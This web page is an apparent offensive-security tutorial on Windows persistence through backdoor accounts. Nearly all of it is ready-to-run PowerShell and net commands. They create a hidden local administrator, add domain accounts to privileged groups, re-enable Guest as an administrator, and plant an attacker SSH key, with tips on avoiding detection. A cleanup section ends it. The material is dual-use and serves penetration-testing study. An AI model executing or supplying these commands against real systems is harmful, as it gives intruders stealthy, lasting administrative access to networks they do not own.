Skip to content
HackIndex logo

HackIndex

Windows Account and Backdoor Creation

4 min read Jul 14, 2026

Creating a backdoor account gives you persistent access that survives payload restarts, AV detection, and service removal. A local or domain account with the right group memberships lets you authenticate via RDP, WinRM, or SMB at any point. This is the most straightforward persistence technique and the most visible — account creation is logged and monitored on hardened systems.

Local administrator account

PS C:\Users\Guest\Desktop> # Create user
PS C:\Users\Guest\Desktop> net user backdoor Password123! /add
 
PS C:\Users\Guest\Desktop> # Add to local Administrators group
PS C:\Users\Guest\Desktop> net localgroup administrators backdoor /add
 
PS C:\Users\Guest\Desktop> # Add to Remote Desktop Users group (RDP access)
PS C:\Users\Guest\Desktop> net localgroup "Remote Desktop Users" backdoor /add
 
PS C:\Users\Guest\Desktop> # Add to Remote Management Users (WinRM access)
PS C:\Users\Guest\Desktop> net localgroup "Remote Management Users" backdoor /add
 
PS C:\Users\Guest\Desktop> # Hide from login screen (requires admin)
PS C:\Users\Guest\Desktop> reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v backdoor /t REG_DWORD /d 0 /f
 
PS C:\Users\Guest\Desktop> # Verify account was created
PS C:\Users\Guest\Desktop> net user backdoor
PS C:\Users\Guest\Desktop> # PowerShell method
PS C:\Users\Guest\Desktop> $Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Users\Guest\Desktop> New-LocalUser -Name 'backdoor' -Password $Password -PasswordNeverExpires -AccountNeverExpires
PS C:\Users\Guest\Desktop> Add-LocalGroupMember -Group 'Administrators' -Member 'backdoor'
PS C:\Users\Guest\Desktop> Add-LocalGroupMember -Group 'Remote Desktop Users' -Member 'backdoor'

Domain account persistence

On domain controllers or with Domain Admin privileges, creating a domain account gives access to any host in the domain. Adding it to Domain Admins is the most powerful option but also the most detectable.

PS C:\Users\Guest\Desktop> # Requires Domain Admin or account creation rights
PS C:\Users\Guest\Desktop> net user backdoor Password123! /add /domain
 
PS C:\Users\Guest\Desktop> # Add to Domain Admins (very noisy — detected quickly)
PS C:\Users\Guest\Desktop> net group "Domain Admins" backdoor /add /domain
 
PS C:\Users\Guest\Desktop> # Less noisy alternatives — add to groups with sufficient access
PS C:\Users\Guest\Desktop> net group "Account Operators" backdoor /add /domain
PS C:\Users\Guest\Desktop> net group "Backup Operators" backdoor /add /domain
PS C:\Users\Guest\Desktop> net group "Server Operators" backdoor /add /domain
 
PS C:\Users\Guest\Desktop> # Verify
PS C:\Users\Guest\Desktop> net user backdoor /domain

Adding to Domain Admins generates event ID 4728 and is monitored in most environments. Account Operators can manage user accounts across the domain and is a less-monitored path to persistent influence. Backup Operators can log on locally to domain controllers and read any file.

Enable and repurpose existing accounts

Re-enabling a disabled account is less detectable than creating a new one because the account already exists in logs and monitoring baselines.

PS C:\Users\Guest\Desktop> # List disabled accounts
PS C:\Users\Guest\Desktop> net user | findstr /v "active"
PS C:\Users\Guest\Desktop> Get-LocalUser | Where-Object {$_.Enabled -eq $false}
 
PS C:\Users\Guest\Desktop> # Enable the built-in Administrator account
PS C:\Users\Guest\Desktop> net user Administrator /active:yes
PS C:\Users\Guest\Desktop> net user Administrator Password123!
 
PS C:\Users\Guest\Desktop> # Enable Guest and add to admins (very stealthy — Guest is often ignored)
PS C:\Users\Guest\Desktop> net user Guest /active:yes
PS C:\Users\Guest\Desktop> net user Guest Password123!
PS C:\Users\Guest\Desktop> net localgroup administrators Guest /add

SSH authorized_keys on Windows

Windows 10 and Server 2019 ship with OpenSSH Server as an optional component. If it is installed and running, you can add an authorized key for persistent SSH access that does not rely on password authentication.

PS C:\Users\Guest\Desktop> # Check if SSH server is installed and running
PS C:\Users\Guest\Desktop> Get-Service -Name sshd
PS C:\Users\Guest\Desktop> Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
 
PS C:\Users\Guest\Desktop> # Start SSH server if installed but stopped
PS C:\Users\Guest\Desktop> Start-Service sshd
PS C:\Users\Guest\Desktop> Set-Service -Name sshd -StartupType Automatic
 
PS C:\Users\Guest\Desktop> # Add authorized key for current user
PS C:\Users\Guest\Desktop> $key = "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali"
PS C:\Users\Guest\Desktop> New-Item -Path "$env:USERPROFILE\.ssh" -ItemType Directory -Force
PS C:\Users\Guest\Desktop> Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value $key
 
PS C:\Users\Guest\Desktop> # For Administrator — keys go in ProgramData for admin users
PS C:\Users\Guest\Desktop> Add-Content -Path "C:\ProgramData\ssh\administrators_authorized_keys" -Value $key
 
PS C:\Users\Guest\Desktop> # Fix permissions (SSH on Windows is strict about permissions)
PS C:\Users\Guest\Desktop> icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/id_rsa $USER@$TARGET_IP

Cleaning up

PS C:\Users\Guest\Desktop> # Delete local user
PS C:\Users\Guest\Desktop> net user backdoor /delete
 
PS C:\Users\Guest\Desktop> # Delete domain user
PS C:\Users\Guest\Desktop> net user backdoor /delete /domain
 
PS C:\Users\Guest\Desktop> # Disable Administrator and Guest
PS C:\Users\Guest\Desktop> net user Administrator /active:no
PS C:\Users\Guest\Desktop> net user Guest /active:no
 
PS C:\Users\Guest\Desktop> # Remove from SpecialAccounts hide list
PS C:\Users\Guest\Desktop> reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v backdoor /f